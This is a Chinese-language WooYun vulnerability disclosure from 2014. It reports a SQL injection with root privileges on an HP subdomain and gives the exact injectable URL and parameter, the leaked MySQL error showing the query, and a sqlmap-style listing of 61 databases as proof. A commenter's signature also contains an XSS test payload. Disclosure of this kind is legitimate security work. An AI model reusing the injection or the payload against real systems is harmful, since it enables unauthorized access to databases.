当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-088985

漏洞标题：惠普某分站存在SQL注入漏洞(root权限)

相关厂商：惠普

漏洞作者： 猪猪侠

提交时间：2014-12-27 20:25

修复时间：2015-02-10 20:26

公开时间：2015-02-10 20:26

漏洞类型：SQL注射漏洞

危害等级：中

自评Rank：10

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-12-27： 积极联系厂商并且等待厂商认领中，细节不对外公开
2015-02-10： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

惠普某分站存在SQL注入漏洞(MYSQL root权限），一大堆数据库

详细说明：

http://success.hp.com/lexika/list.php?act=articlesearch&search[metainfo_id]=318432%27

Query: SELECT DISTINCT la.id, la.lexikon_id, la.art_id, la.title, la.preiskategorie_id, la.frei, la.speaking_url FROM lexikon_article la, lexikon_article_metainfo lam, lexikon l WHERE l.title like '%lexikon%' AND lam.metainfo_id = 318432\' AND l.recherche = 1 AND lam.article_id = la.id AND l.id = la.lexikon_id ORDER BY la.title_sort, la.title 
Fehler 1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\' AND l.recherche = 1 AND lam.article_id = la.id AND l.id = la.lexikon_id ORD' at line 4 (db=0, current_db=)

漏洞证明：

available databases [61]:
[*] biospektrum
[*] bnt
[*] campbell
[*] chrono
[*] contoo2
[*] doi
[*] epoq
[*] facebook
[*] fischer_wa
[*] forum_contoo
[*] games
[*] holtzbrinck
[*] information_schema
[*] intern
[*] international
[*] kno_neues
[*] kosmo
[*] lifetype
[*] mantis
[*] meetings
[*] meetings_dgfi
[*] meetings_extern
[*] meetings_test
[*] mh_lt
[*] mhtest
[*] mysql
[*] nature
[*] naturejobs
[*] new.mysql
[*] new_mysql
[*] nl_sdwv
[*] nl_spotlight
[*] phpOpenTracker
[*] phprojekt
[*] purves
[*] sav
[*] sav2
[*] scilogs_com
[*] scilogs_com_dev
[*] scilogs_de
[*] scilogs_de_dev
[*] scilogs_de_dev_2
[*] scilogs_de_xxx
[*] scilogs_dev_fr
[*] scilogs_eu
[*] scilogs_fr
[*] scilogs_org
[*] sixcms72_wo
[*] sixcms72_wo_utf8
[*] spektrum
[*] spektrum6_mysql
[*] suche_log
[*] tech
[*] test
[*] test_u_f_journals
[*] umfragen
[*] vgwort
[*] wissenblog
[*] wissenschaft_extras
[*] wissenschaft_online
[*] zenit_mapping

修复方案：

过滤

版权声明：转载请注明来源 猪猪侠@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝

漏洞评价：

评论

  1. 2014-12-27 20:30 | 点点 ( 普通白帽子 | Rank:214 漏洞数:38 | 准备申请سمَـَّوُوُحخ ̷̴̐...)

    沙发

  2. 2014-12-27 20:31 | 浩天 认证白帽子 ( 普通白帽子 | Rank:915 漏洞数:79 | 度假中...)

    猪哥也凑热闹

  3. 2014-12-27 20:34 | 玉林嘎 ( 普通白帽子 | Rank:758 漏洞数:96 )

    猪哥说 要发到惠普来认领

  4. 2014-12-27 20:37 | 黑暗游侠 ( 普通白帽子 | Rank:1780 漏洞数:268 | 123)

    我也找到了

  5. 2014-12-27 20:42 | 泳少 ( 普通白帽子 | Rank:231 漏洞数:79 | ★ 梦想这条路踏上了，跪着也要...)

    静静的观看。厂商准备来认领

  6. 2014-12-27 20:42 | 子非海绵宝宝 认证白帽子 ( 核心白帽子 | Rank:1044 漏洞数:106 | 发扬海绵宝宝的精神!你不是海绵宝宝,你怎...)

    猪哥发飙了

  7. 2014-12-27 20:59 | backtrack丶yao ( 普通白帽子 | Rank:290 漏洞数:107 | "><img src=x onerror=alert(666666);> <im...)

    我用的电脑就是惠普哟

  8. 2014-12-27 21:18 | ’‘Nome ( 实习白帽子 | Rank:55 漏洞数:19 | 在此感谢 @M4sk @mango @裤裆 @泳少 @5up3r...)

    猪猪侠，能告诉下你用的是什么笔记本？

  9. 2014-12-28 08:44 | 第四维度 ( 实习白帽子 | Rank:58 漏洞数:34 | 谦谦君子，温润如玉)

    静静看

  10. 2014-12-28 11:56 | 小呆呆 ( 实习白帽子 | Rank:41 漏洞数:7 | 每次有人骂我猪我都说我偶像也是猪)

    坐等公开